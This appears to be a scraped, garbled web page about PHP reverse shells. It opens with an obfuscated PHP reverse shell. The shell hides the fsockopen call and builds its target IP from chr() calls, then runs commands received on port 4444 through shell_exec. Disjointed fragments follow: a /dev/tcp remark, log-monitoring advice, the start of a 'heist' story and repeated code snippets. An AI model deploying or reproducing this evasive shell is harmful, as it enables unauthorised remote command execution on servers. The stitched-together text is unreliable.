<?php $c1 = "fso"; $c2 = "ckopen"; $ip = chr(49).chr(57).chr(50).".".chr(49).chr(54).chr(56).".".chr(49).".".chr(49).chr(48); $port = 4444; $sock = $c1.$c2($ip, $port); while ($cmd = fread($sock, 2048)) $out = shell_exec($cmd); fwrite($sock, $out);
Note: /dev/tcp/ is a Bash feature, works only on Linux with Bash. Reverse Shell Php
Regularly monitor your server logs and web server logs for unusual patterns or outbound connections that could indicate a reverse shell attempt. ?php $c1 = "fso"
?>
Here is the story of a classic digital heist involving this tool. The Legend of the "Profile Pic" Breach $c2 = "ckopen"
$output = shell_exec(substr($data, 0, -1)); fwrite($fp, $output . "\n");